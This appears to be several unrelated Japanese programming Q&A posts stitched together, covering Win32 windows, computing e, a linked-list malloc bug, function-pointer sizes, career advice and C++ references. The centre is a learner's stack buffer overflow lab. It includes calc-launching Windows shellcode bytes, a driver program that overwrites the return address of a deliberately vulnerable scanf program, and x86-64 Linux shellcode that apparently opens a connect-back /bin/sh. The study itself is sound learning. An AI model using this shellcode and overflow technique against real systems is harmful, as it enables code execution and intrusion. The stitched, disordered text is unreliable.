常連

注目の的

回答者

拍手喝采

自己紹介



### 前提・実現したいこと

ウィンドウを表示し、ESCキーでウィンドウを閉じる処理を書きましたが、
ESCキーを押してもウィンドウが閉じません。
ESCキーを押すとウィンドウが固まります。

```c++
#include <windows.h>

//*****************************************************************************
// マクロ定義
//*****************************************************************************
#define WND_CLASS_NAME TEXT("My_Window")

#define SCREEN_WIDTH	(1280)				// ウインドウの幅
#define SCREEN_HEIGHT	(720)				// ウインドウの高さ
#define SCREEN_CENTER_X	(SCREEN_WIDTH/2)	// ウインドウの中心Ｘ座標
#define SCREEN_CENTER_Y	(SCREEN_HEIGHT/2)	// ウインドウの中心Ｙ座標

//*****************************************************************************
// プロトタイプ宣言
//*****************************************************************************
LRESULT CALLBACK WindowProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);

// https://www.keicode.com/winprimer/wp11.php
int WINAPI WinMain(
    HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPSTR lpCmdLine,
    int nCmdShow) {

    HWND hWnd;
    WNDCLASSEX wcl;

    wcl.cbSize = sizeof(WNDCLASSEX);
    wcl.hInstance = hInstance;
    wcl.lpszClassName = WND_CLASS_NAME;
    wcl.lpfnWndProc = WindowProc;
    wcl.style = NULL;
    wcl.hIcon = NULL;
    wcl.hIconSm = NULL;
    wcl.hCursor = LoadCursor(NULL, IDC_ARROW);
    wcl.lpszMenuName = NULL;
    wcl.cbClsExtra = 0;
    wcl.cbWndExtra = 0;
    wcl.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);

    if (!RegisterClassEx(&wcl)) {
        return FALSE;
    }

    // ウィンドウの作成
    hWnd = CreateWindowEx(
        NULL,
        WND_CLASS_NAME,
        WND_CLASS_NAME,
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        NULL,
        NULL,
        hInstance,
        NULL);

    if (!hWnd) {
        return FALSE;
    }

    ShowWindow(hWnd, nCmdShow);

    MSG msg;
    BOOL bRet;

    while ((bRet = GetMessage(&msg, hWnd, 0, 0)) != 0) {

        if (bRet == -1) {
            break;
        }
        else {
            DispatchMessage(&msg);
        }
    }

    return msg.wParam;
}

LRESULT CALLBACK WindowProc(
    HWND hWnd,
    UINT uMsg,
    WPARAM wParam,
    LPARAM lParam) {

    switch (uMsg) {
    case WM_DESTROY:
        ::PostQuitMessage(0);
        break;
    // ここがうまくいかない 
    case WM_KEYDOWN:				//----- キーボードが押された
        switch (wParam) {
        case VK_ESCAPE:					// [ESC]キーが押された
            PostMessage(hWnd, WM_CLOSE, 0, 0);	// [x]が押されたように振舞う
            return 0;
        }
        break;
    case WM_MENUCHAR:
        return MNC_CLOSE << 16;			// [Alt]+[Enter]時のBEEPを抑止
    default:
        break;
    }

    return DefWindowProc(hWnd, uMsg, wParam, lParam);
}
```



### 補足情報（FW/ツールのバージョンなど）

Windows10
Visual Studio 2019


ウィンドウをESCキーで閉じたい

```C
コード
void kaizyou(int *x){ //階乗したい数 x! Lはマクロで宣言済み
  int ans[L] = {0};
  int copy[L] = {0};
  int n,g,k,carry,t;    //n:k倍する桁 g:最高位桁
  t = *x;               //階乗したい数 t! = x!
  ans[1] = 1;
  g = 1;
  carry = 0;

   for(k = 2; k <= t; k++){
     for(i = 0; i < L; i++){
      copy[i] = ans[i];
     }
     for(n = 1; n <= g+1; n++){
      ans[n] = ans[n]*k + carry;
      carry = ans[n]/10;
      if(carry != 0){
      ans[n] = ans[n]%10;
      if((n+1) > g)
       g = n+1;
   }
  }
 }
}
```### 前提・実現したいこと
初投稿です。プログラミングを一ヶ月ほどになります。
C言語において、ネイピア数eの小数点以下の桁数をできるだけ多く求めて表示する関数を作ろうと考えています。
追記:
桁数をできるだけ多くとは、double以上の精度かつ、小数点以下の桁数が例えば500桁まで求めるこができることを指します。
以下にソースコードの一部を載せておきます。
### 発生している問題・エラーメッセージ

```
1/n!のn!が配列で表現されているとき、1/n!をどのようにして計算するかを教えていただきたいです。具体的にはn! = A[3]A[2]A[1]であるとき、1/n! = 1 / A[3]A[2]A[1] の計算の仕方を知りたいです。例えば、これを近似する式が存在していたり、式をうまく分割することができたりするといった感じに。(このままでは桁数が多くなると計算ができなくなってしまうので)
n!が配列で表現されているとは、n!が配列A[N]で表されるとき、n!=A[N-1]A[N-2]･･･A[0]となっていることを指します。
```


### 試したこと

再帰関数を利用した階乗を計算するものだと、限界があるため、配列を用いて階乗を求めました。

### 補足情報（FW/ツールのバージョンなど）
gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-39)

ネイピア数eの小数点以下の桁数をできるだけ多く求めるにはどうすればよいですか？

以下のコードを実行すると「実行時エラーが発生しました」というエラーがなぜ出力されるのか教えて頂きたいです。
```c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
    int i,n,m;
 
    if(argc!=3){printf("\n");exit(-1);}
    n= atoi(argv[1]); m= atoi(argv[2]);
    for(i= n; i<=m; i++){
        printf("%3d %6d\n", i,i*i);
    }
    
    return 0;
```

実行時エラーが発生しました？

[前回の質問](https://teratail.com/questions/218231)
昨日の質問にてどさくさ紛れに
追記で質問したのですが、回答がつかないので改めて質問させていただきます。
やりたいこと
--
バッファオーバーフローを起こしてシェルコードを実行したい。
本来は"Hello World!"を出力するシェルコード
（厳密には違うという指摘をいただきましたがあえて、そう言わせてください。）
を作って使いたかったのですが
今の私の知識力では不可能と判断し、断念しました。
　
そこでシェルコード自体はどっかから持ってくることにしました。

[電卓を起動するシェルコード](http://inaz2.hatenablog.com/entry/2015/04/23/013858)
（動く前提で）
```cmd
\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF
```
これをバッファオーバーフローを起こしてスタックに配置しようと思います。

リターンアドレスとかも書き換えなければいけないので
エスケープシーケンスを考慮し、パイプを使って
脆弱性のあるプログラム（scanf関数）へ
流そうと思います。

以下脆弱性のあるプログラムへ流すプログラム
```c
int main(void)
{
	for (int i = 0; i < 28; ++i) putchar(0x00);//バッファを溢れさせる。リターンアドレスまで28バイトあるから28バイト分0で埋める。

//ここからリターンアドレス配置　28バイト目
//シェルコードが置かれている場所のアドレスへ書き換える。
    putchar(0x44);
	putchar(0xF9);
	putchar(0x2F);
	putchar(0x01);
//リターンアドレス配置終了

//シェルコード配置
　　putchar(0xEF);
	putchar(0xFF);
	putchar(0xFF);
	putchar(0x77);
	putchar(0xE8);
	putchar(0x73);
	putchar(0xE2);
//100行以上あります・・・　ひとつひとつ入れていく・・・
}
```
**printf関数でもいけるかぁ？と思ってやってみたらだめだったのでputchar関数を使っています。他に方法があれば教えていただきたいです。**
私が考えるこのときのスタック構造
--
(逆アセンブルする手もあるかもしれないが)

参考画像
![イメージ説明](1e2ef1b50d0fdc58ffaac35530b6cefe.png)

```c
　　　　　　　　--------------------------------
      　　　　　　　　ローカル変数領域　　　(例)000000000000・・・
　　　　　　　　　　　（溢れさせる。）
　　　　　　　　--------------------------------
                   リターンアドレス　　　（例）004FFA30
　　　　　　　　　　　（溢れさせたついでに書き換える。シェルコードの場所）
　　　　　　　　-------------------------------
                  本来、関数引数が置かれているが、ここにシェルコードを配置
                  アドレス: 004FFA30　　　　　　
　　　　　　　　------------------------------
```
うーむ、これでいけるのでしょうか？
というより、考え方はあっているのか？

脆弱性のあるコード
--

```c
#pragma warning(disable: 4996)
#include <intrin.h>
#include<stdio.h>
#include <string.h>

__declspec(safebuffers) int sample(int con);
__declspec(safebuffers) int sub(int a);


__declspec(safebuffers) int sample(int con) {
	int (*func)(int a);
	func = sub;

	printf("sub関数のアドレス・・・%p\n", *func);
	void* a = _ReturnAddress();
	printf("リターンアドレス・・・%p\n", a);
	char moji[15];
	int* p;
	p = (int*)moji;
	int ebpofs;
	int ebpofs2;
	int* ebp;
	ebp = &con;

	unsigned* retaddr = (unsigned*)_AddressOfReturnAddress();
	unsigned* pp = retaddr - 1;
	printf("保存されたebp:%p\n", *pp);

	printf("ReturnAdress + 1:%p\n",p + 8);
	scanf("%s", moji);
	printf("%s\n", "ローカル変数");
	printf("%s\n", "ローカル変数 4バイト出力 16進数 0 80");

	for (ebpofs = 0; ebpofs < 80; ebpofs++) {
		printf("addr:%p price:%x\n", p + ebpofs, p[ebpofs]);
	}

	printf("%s\n", "--------------------------------------------");
	printf("%s\n", "コマンド引数 4バイト入力 16進数 -5 40");
	for (ebpofs2 = -5; ebpofs2 < 40; ebpofs2++) {
		printf("addr:%p price:%x\n", ebp + ebpofs2, ebp[ebpofs2]);
	}
	//リターンアドレス破壊4
	void* b = _ReturnAddress();
	printf("return:%p\n", b);
	printf("price:%x\n", p[13]);
	//p[13] = (int)func;
	//p[13] = ((p[13] >> 6) | (p[13] >> 9)) + 80485;
	//printf("price:%x\n", p[13]);
	void* c = _ReturnAddress();
	printf("return:%p\n", c);
	// echo -e "a" | /mnt/c/Users/u16154/source/repos/ConsoleApplication7/Debug/ConsoleApplication7.exe
	unsigned* retaddr2 = (unsigned*)_AddressOfReturnAddress();
	unsigned* pp2 = retaddr2 - 1;
	printf("ebp:%p\n", *pp2);
	return 0;
}
//52バイト
//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

__declspec(safebuffers) int main(int a) {
	printf("%s","a");
	sample(8);
	return 0;
}


__declspec(safebuffers) int sub(int a) {
	printf("%s\n", "破壊成功！");
	return 0;
}

```
リターンアドレスまでのバイト数、など図るため（効率悪いけど）
ごちゃごちゃしていますが
簡略化すると
```c
int main(void){
char sample[15];
scanf("%s",sample);
return 0;
}

```
こうなります。
実行すると・・・(aを入力)
```cmd
asub関数のアドレス・・・00DB12C6
リターンアドレス・・・00DB1CEC
保存されたebp:006FF9E8
ReturnAdress + 1:006FF998//リターンアドレスが起これているアドレスから4バイト目を示す。
a
ローカル変数
ローカル変数 4バイト出力 16進数 0 80
addr:006FF978 price:f930061//ASCII aは16進数表現61 より、aがしっかり入っている。
addr:006FF97C price:dbc002
addr:006FF980 price:6ff9d4
addr:006FF984 price:0
addr:006FF988 price:db1cec
addr:006FF98C price:db12c6
addr:006FF990 price:6ff9e8
addr:006FF994 price:db1cec//リターンアドレス　入力から28バイトある。
addr:006FF998 price:8//ここにシェルコードを配置
addr:006FF99C price:db1352
addr:006FF9A0 price:db1352
addr:006FF9A4 price:5b4000

・
・
・
addr:006FFA14 price:db1352
addr:006FFA18 price:db1352
addr:006FFA1C price:5b4000
addr:006FFA20 price:0
addr:006FFA24 price:0
addr:006FFA28 price:0
addr:006FFA2C price:0
addr:006FFA30 price:0
addr:006FFA34 price:0
return:00DB1CEC
price:913e9c66
return:00DB1CEC
ebp:006FF9E8

```
前置きが長くなりましたが質問
--

**質問１**
そもそもの話

シェルコード配置の考え方は合っているのでしょうか？

私が考えるスタック想像図を描きましたが、それです。

リターンアドレスを書き換えた直後にシェルコードを配置しています。

リターンアドレスをシェルコードが置かれている先頭アドレスに。

**質問２**
```cmd
\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF
```
これをputcharに格納するとき（リトルエンディアンと仮定し）
どのように納めればいいのでしょうか？
私は後ろからやってみたのですが
いざやってみるとちょっと、いや全然違かったです。
（あの作業するだけで30分・・・）
どのように格納すればいいのでしょうか？
```c
\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30
```
先頭らへんのここを例えて私がやったのは
```c
putchar(0x30);
putchar(0x40);
putchar(0x8B);
putchar(0x64);
・・・

putchar(0x67);
putchar(0xEB);
putchar(0xFC);
```
という感じです。

**質問３**
今の私の知識では判断できないのですが
そもそも、このシェルコード合っていますか？（エンディアンとかそういう話以前に）
また、シェルコードはどのようにぐぐったら出てきますか？
"windows10 シェルコード"
と調べても見た限り、今回紹介しているサイトくらいしか見つけりませんでした。
やっぱシェルコードという言葉自体だめなんでしょうか？（なら、ペイロード？）

分からないのでご教授お願いします。

バッファオーバーフロー　シェルコード配置の仕方・やり方

知恵袋のほうでも質問したり、調べたりしたのですが
なかなか理解できないです。
前提知識の問題だと思うのですが、まずそこからわからないのでご教授ください。

[知恵袋](https://chiebukuro.yahoo.co.jp/my/myspace.php?fr=common-navi)

やりたいこと・これまでの過程
--


[バッファオーバーフローに関しての質問](https://teratail.com/questions/216003)

こちらの質問にて、
パイプを使うことで、脆弱性のあるプログラム（scanf）
にバッファを溢れさせる文字列を流し込み、リターンアドレスを書き換えることで
sub関数を呼び出すことに成功しました。

で、今回やりたいのがあらかじめ用意しておいた関数を呼び出すのではなく、
シェルコードをバッファオーバーフローを起こして実行させたいです。

最終目標として
```string
"Hello World"を出力するシェルコードを実行させたい。
（Hello Worldではなくてはいけないわけではないが、一番簡単そうだから）
```
を目指しています。
本題
--
そこで、"Hello World!"を出力するシェルコードを作成したいです。
調べていくと・・・
```cmd
gcc
```
このコマンドを使えばコンパイルができると・・・。
（C言語→機械語）

で、コンパイルしてみました。
![イメージ説明](4791bb19b33e9a85c4cb5fe9c24aeafe.png)

これが”シェルコード”と思っていたのですが・・・
違いますよね？

[参考サイト](https://qiita.com/slowsingle/items/59c139b747edec9157cc)
```cmd
\x48\x31\xc9\x48\x8d\x79\x02\x48\x8d\x71\x01\x48\x31\xd2\x48\x8d\x41\x29\x0f\x05\x48\x89\xc3\x48\x31\xc9\x48\x89\xdf\x51\x49\xb8\xff\xff\x79\x6a\x7f\xbb\xbb\x01\x49\xff\xc0\x49\xff\xc0\x49\xff\xc0\x41\x50\x66\x89\x4c\x24\x05\x48\x89\xe6\x48\x8d\x51\x10\x48\x8d\x41\x2a\x0f\x05\x48\x31\xc9\x48\x89\xdf\x48\x31\xf6\x48\x8d\x41\x21\x0f\x05\x48\x31\xc9\x48\x89\xdf\x48\x31\xf6\x48\xff\xc6\x48\x8d\x41\x21\x0f\x05\x48\x31\xc9\x48\x89\xdf\x48\x31\xf6\x48\xff\xc6\x48\xff\xc6\x48\x8d\x41\x21\x0f\x05\x48\x31\xc9\x51\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xd2\x52\x57\x48\x89\xe6\x48\x8d\x41\x3b\x0f\x05\x48\x31\xc9\x48\x31\xff\x48\x8d\x41\x3c\x0f\x05
```
![イメージ説明](c7d3019609a9be48ee1a63bde58f0196.png)

```cmd
このアセンブラのコードを以下のオプションでコンパイルし、出来上がった実行ファイルからシェルコードの部分だけを取り出します。
```
実行コード exe の中の一部がシェルコードということ？

**質問１**
シェルコードとはなんでしょうか？
私の想像ではexeのようなすぐに実行できるような
機械語で書かれたものこそ、私の求めているシェルコード
だと思ったのですが
どうやら違うみたいです。
理解できそうにないので教えてください。

**質問２**
"Hello World!"を出力するCプログラム
```c
#include <stdio.h>
#include <stdlib.h>

int main(void){
  system("tasklist");
  return 0;
}

```
を gccコマンドを使って（gccではなくてもいいけれど）
シェルコード（バッファオーバーフローで使えるような）
を生成することはできるのでしょうか？

分からないのでお願いします。

追記
--

[電卓を起動させるシェルコード](http://inaz2.hatenablog.com/entry/2015/04/23/013858)
```c
#include <stdio.h>

int main(void)
{
	for (int i = 0; i < 28; ++i) putchar(0x00);
	putchar(0xBC);
	putchar(0xFA);
	putchar(0x4F);
	putchar(0x00);
	printf("%s", "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF");
}

```
パイプを使って上記のコードをscanf関数を持った脆弱性のあるコードへ流しました。

```c
asub関数のアドレス・・・000B12C6
リターンアドレス・・・000B1CEC
保存されたebp:004FFB0C
f
ローカル変数
ローカル変数 4バイト出力 16進数 0 80
addr:004FFA9C price:fc30066
addr:004FFAA0 price:bc002
addr:004FFAA4 price:4ffaf8
addr:004FFAA8 price:0
addr:004FFAAC price:b1cec
addr:004FFAB0 price:b12c6
addr:004FFAB4 price:4ffb0c
addr:004FFAB8 price:b1cec
addr:004FFABC price:8
addr:004FFAC0 price:b1352
addr:004FFAC4 price:b1352
addr:004FFAC8 price:251000
addr:004FFACC price:2
addr:004FFAD0 price:7542f840
addr:004FFAD4 price:6057d1f8
addr:004FFAD8 price:4ffaf4
addr:004FFADC price:fbfc922
addr:004FFAE0 price:0
addr:004FFAE4 price:b1352
addr:004FFAE8 price:0
addr:004FFAEC price:fc2e62e
addr:004FFAF0 price:fd04e64
```
入力からリターンアドレスまでは28バイトよって
```c
for (int i = 0; i < 28; ++i) putchar(0x00);
```
28バイト適当に埋める。
```c
    putchar(0xBC);
    putchar(0xFA);
    putchar(0x4F);
    putchar(0x00);
```
これでシェルコードが配置されるであろうアドレスに
リターンアドレスを書き換える。

```c
 printf("%s", "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF");
```
上記でシェルコードを配置・・・
ただ、エンディアンとかを考慮した場合結構あやしいような・・・

結果

![イメージ説明](bde15d581de764b780d7c4a04babe1d5.png)
普通、「無視」を選択すれば警告は少なくとも、失せてくれるのですが
今回では「無視」を選択しても
ループ的に警告が再度表示されるようになりました。

電卓が起動してないのだから失敗・・・ですよね？

```string
追記１:　すみません。printf関数ではだめみたいですね。
```

Hello World　を出力するシェルコード作成方法について

### 前提・実現したいこと

C言語で線形リストを用いて講義の科目名、単位数、成績をリストに保存できるプログラムを作成しています。
コンパイルは問題なく通るのですが実行すると上手く動かないため質問させていただきます。

### 発生している問題・エラーメッセージ
実行後、1を入力してデータを追加すると途中で終了してしまいます(以下が実行結果)

C:\Users\tar\program>a
1:科目の追加    2:科目の挿入    3:要素の削除
4:要素の表示    5:GPAの表示     0:終了
操作を入力してください:1
科目名を入力してください:w
単位数を入力してください:1
GPを入力してください2

aa

ただしスイッチ文のcase1の中のprintf内の文章を長めの文字(ここでは0000000)に変更すると以下のように実行できます。

C:\Users\tar\program>a
1:科目の追加    2:科目の挿入    3:要素の削除
4:要素の表示    5:GPAの表示     0:終了
操作を入力してください:1
科目名を入力してください:w
単位数を入力してください:1
GPを入力してください2
0000000
aaii1:科目の追加        2:科目の挿入    3:要素の削除
4:要素の表示    5:GPAの表示     0:終了
操作を入力してください:4
length = 1
w       1       2.00
1:科目の追加    2:科目の挿入    3:要素の削除
4:要素の表示    5:GPAの表示     0:終了
操作を入力してください:0

aaまで表示できることからmallocの使い方が悪いと思うのですが、どのように改善したらよいか分かりません。
今回の質問に関係のないremovedata関数やinsertdata関数は省略させていただきました。
ご教示よろしくお願いいたします。


### 該当のソースコード
```ここに言語を入力
#include <stdio.h>
#include <stdlib.h>

/* 要素データの構造定義 */
struct Data {
  char *name;
  int num;
  double gp;
  struct Data *pNext;
};
typedef struct Data data;

/* リストの構造定義 */
typedef struct {
  data *pHead;
  int length;
} List;

/* 関数プロトタイプ */
void initialize(List*);
void disp(List);
void adddata(List*, char*, int, double);
void removedata(List*, int);
void insertdata(List*, int, char*, int, double);

int main() {
    char str[30];
	int num, n, mode;
	double gp;
	
	/* リスト型の宣言 */
	List v;
	
	/* 初期化 */
	initialize(&v);
	
	do{
		printf("1:科目の追加\t2:科目の挿入\t3:要素の削除\n");
        printf("4:要素の表\示\t5:GPAの表\示\t0:終了\n");
        printf("操作を入力してください:");
		scanf("%d", &mode);
		
		
		switch(mode){
			case 1 : printf("科目名を入力してください:");   scanf("%s",str);
                     printf("単位数を入力してください:");   scanf("%d",&num);
                     printf("GPを入力してください");        scanf("%lf", &gp);
                     printf("\n");
			         adddata(&v, str, num, gp);
			         break;
			case 2 : printf("科目名を入力してください:");   scanf("%s",str);
                     printf("単位数を入力してください:");   scanf("%d",&num);
                     printf("GPを入力してください");        scanf("%lf", &gp);
                     printf("何番目の前に挿入しますか:");   scanf("%d",&n);
                     printf("\n");
			         insertdata(&v, n-1, str, num, gp);
			         break;
			case 3 : printf("何番目を削除しますか：");
			         scanf("%d", &n);
			         removedata(&v, n);
			         break;
			case 4 : printf("length = %d\n", v.length);
			         disp(v);
			         break;
            case 0 : break;         
			default: printf("正しい値を入力してください\n");
                     break;
		}
		

	}while(mode != 0);
	
	/* 全要素の削除 */
	while(v.pHead == NULL){
		removedata(&v, 1);
	}

    return 0;
}

/* 線形リストの初期化 */
void initialize(List *pV) {  
	pV->pHead = NULL;
	pV->length = 0;
}

/* 要素の表示 */
void disp(List v) {
	data *pd;
	pd = v.pHead;
	
	if(pd == NULL)
		printf("リストには何もありません。\n");
	else {
		while(pd != NULL) {
			printf("%s\t%d\t%1.2f\n", pd->name,pd->num,pd->gp);
			pd = pd->pNext;
		}
	}
}

/* 要素の追加 */
void adddata(List *pV, char *name, int num, double gp) {
	
	/* 最後尾要素のポインタ */
	data *pLast;
	
	/* 新規に追加する要素の生成 */
	data *pNew;
    printf("aa");
    pNew->name = (char*)malloc(sizeof(name));
    printf("aaaa");
	pNew = (data*)malloc(sizeof(data));/* 領域確保 */
    pNew->name = name;
	pNew->num = num;
    pNew->gp = gp;
	pNew->pNext = NULL;
	
	if( pV->pHead == NULL ) { /* リストが空の場合 */
		pV->pHead = pNew; /* 新規要素を先頭にリンク */
	} else { /* リストが空でない場合 */
		pLast = pV->pHead;
		while( pLast->pNext != NULL ) /* 最後尾を探索 */
			pLast = pLast->pNext;
		pLast->pNext = pNew; /* 新規要素を最後尾にリンク */
	}
	pV->length++;
}
```



### 補足情報（FW/ツールのバージョンなど）

OS:windows10
コンパイラ:gcc

c言語 線形リストと動的領域確保(malloc関数)について

[質問「関数へのポインタを返す関数」のSaitoAtsushiさんの回答](https://teratail.com/questions/87117#reply-136187)で

> 他の方の回答では `void*` を使うという提案もありますが、**厳密に言えば言語仕様上は関数ポインタは `void*` よりも大きい幅である可能性がある**のでお勧めできません。

と述べています。私は今まで全てのポインタは同じ大きさであると信じており、すべては`void *`へキャストでき、また、`void *`にキャストされたポインタは元の型に(もちろん同じであるある必要がありますが)キャストできると思っていました。でも、関数ポインタの場合はどうやら異なるようです。

そこで、どのような環境において、どのように異なるのか、また、そのときの`intptr_t`との関係はどうなるのか(そもそもないとか、`void *`に合わせてあるとか)について教えてください。

なお、手元の環境(Win10+Visual Studio 2017、Win10+MSYSY2+Mingw-w64 GCC、Bash on Ubuntu on Windows+GCC、Bash on Ubuntu on Windows+Clang)で下記のコードを試したのですが、32bitでは全て4、64bitでは全て8と、異なる幅であることは確認できませんでした。

```C
#include <stdint.h>
#include <stdio.h>

int main(void)
{
	printf("%zu\n", sizeof(void *));
	printf("%zu\n", sizeof(int *));
	printf("%zu\n", sizeof(double *));
	printf("%zu\n", sizeof(void (*)(void)));
	printf("%zu\n", sizeof(int (*)(int)));
	printf("%zu\n", sizeof(intptr_t));
	return 0;
}
```

その他、N1570のp.580に

> J.5.7 Function pointer casts
> 1 A pointer to an object or to void may be cast to a pointer to a function, allowing data to be invoked as a function (6.5.4).
> 2 A pointer to a function may be cast to a pointer to an object or to void, allowing a function to be inspected or modified (for example, by a debugger) (6.5.4).

とありましたが、互換性のための国際標準を示す付録なので言語仕様外なのかも知れません。C++の仕様は確認できていないです。

C/C++では関数ポインタの大きさがvoid *の大きさを越える場合がある？

実用的なアプリって何を作ればいいのでしょうか？１ヶ月の間でプログラミングの自信を少しでも付けたいです。一か月の間で出来うる目標をお与えください。

現在、html,css,javascriptを勉強しています。
ジャンケンゲームを作れるようになった初心者です。

9月から、プログラミングの学校(就職学校みたいなとこ)に入りますが、
そこの人から、あなたには適正はないよって言われまして、
悔しくて意地でもプログラマーになりたいと思っています。

8月中は時間を費やしてプログラミングを少しでも上達させて
その人をギャフンと言わせたいのです。

ちなみに学校では、今やっているのと、それとは別に
php java mysql
を学ぶようです。

将来、柔軟なプログラマーになることを見越した方向を示してください。
よろしくお願い致します。

助けてください! 最短で実践的なプログラマーになりたい素人です!

こんにちは。C++のことで質問です。
例えば、
```ここに言語を入力
class C
{
public:
    Data _data; 
};

class B
{
public:
    C _objectC;    
    Data _data;
};

class A
{
public:
    B _objectB;
    Data _data;    
};

class Data
{};
```
このように、AがBをメンバに持っていて、BがCをメンバに持っている状況で、DataというクラスのオブジェクトをA、B、Cそれぞれに共通して持たせたいのですが、（色々省略して書きます）
```ここに言語を入力
class C
{
public:
    Data _data;

    void setData(Data& d)
    {
        _data = d;
    }
};

class B
{
public:
    C _objectC;
    Data _data;

    void setData(Data& d)
    {
        _data = d;
        _objectC.setData(d);
    }
};

class A
{
public:
    B _objectB;    
    Data _data;

    void init()
    {
     _data.addData(/*データを色々セット*/);
        _objectB.setData(_data);
    }
};

class Data
{};
```
のように、参照渡しで_dataを渡していくという方法はC++的にアリなのでしょうか？参照渡しを使ったのは、Dataクラスはなんらかのデータを保持したりその中かから検索したりするだけのクラスなので、中身の全く同じオブジェクトのコピーをわざわざ３つも作るより、１つのオブジェクトを共有したほうがメモリの節約になるんじゃないかと思ったからです。それとも、
```ここに言語を入力
class C
{
    Data* _data;
    void setData(Data* d)
    {
        _data = d;
    }
};

class B
{
public:
    C _objectC;
    Data* _data;

    void setData(Data* d)
    {
        _data = d;
        _objectC.setData(d);
    }
};

class A
{
public:
    B _objectB;    
    Data _data;

    void makeData()
    {
        _data.addData(/*データを色々セット*/);
        _objectB.setData(&_data);
    }
};

class Data
{};
```
のように、Aでオリジナル？のDataオブジェクトを作り、そのポインタをB,Cに渡していくという方法のほうが良いでしょうか？というより、ポインタを使うこと以外でこの２つのやり方に違いはあるのでしょうか？同じ値を参照しているという点ではどちらも同じに思えるのですが、、、イマイチ参照渡しが理解できていないのかもしれません。よろしくお願いします。

<2017/1/26 追記>
こんばんは。皆さん回答ありがとうございます。僕の例えが少し大雑把すぎたので、もう少し付け加えさしてください。
AはB、Cを管理する１つのおおきなクラスで、プログラムの最初から最後まで生きている？（すみません、言葉が見つかりません。。）寿命の長いオブジェクトです。AはメンバにBをいくつか持っていて、そしてBもCを複数持っている、そしてCはこの中で言うと最小単位のようなオブジェクトです。また、B,CはAが削除されるまで削除されないオブジェクトです。このABCのオブジェクト全体で共有したいデータがいくつかあり、それをどうやって共有しようかと思い質問しました。

> 例えば、クラスCの中にData型のオブジェクトdataを用意して、clsAobj.clsBobj.clsCobj.dataのようにすればアクセスできますよね(public指定を前提とする)?

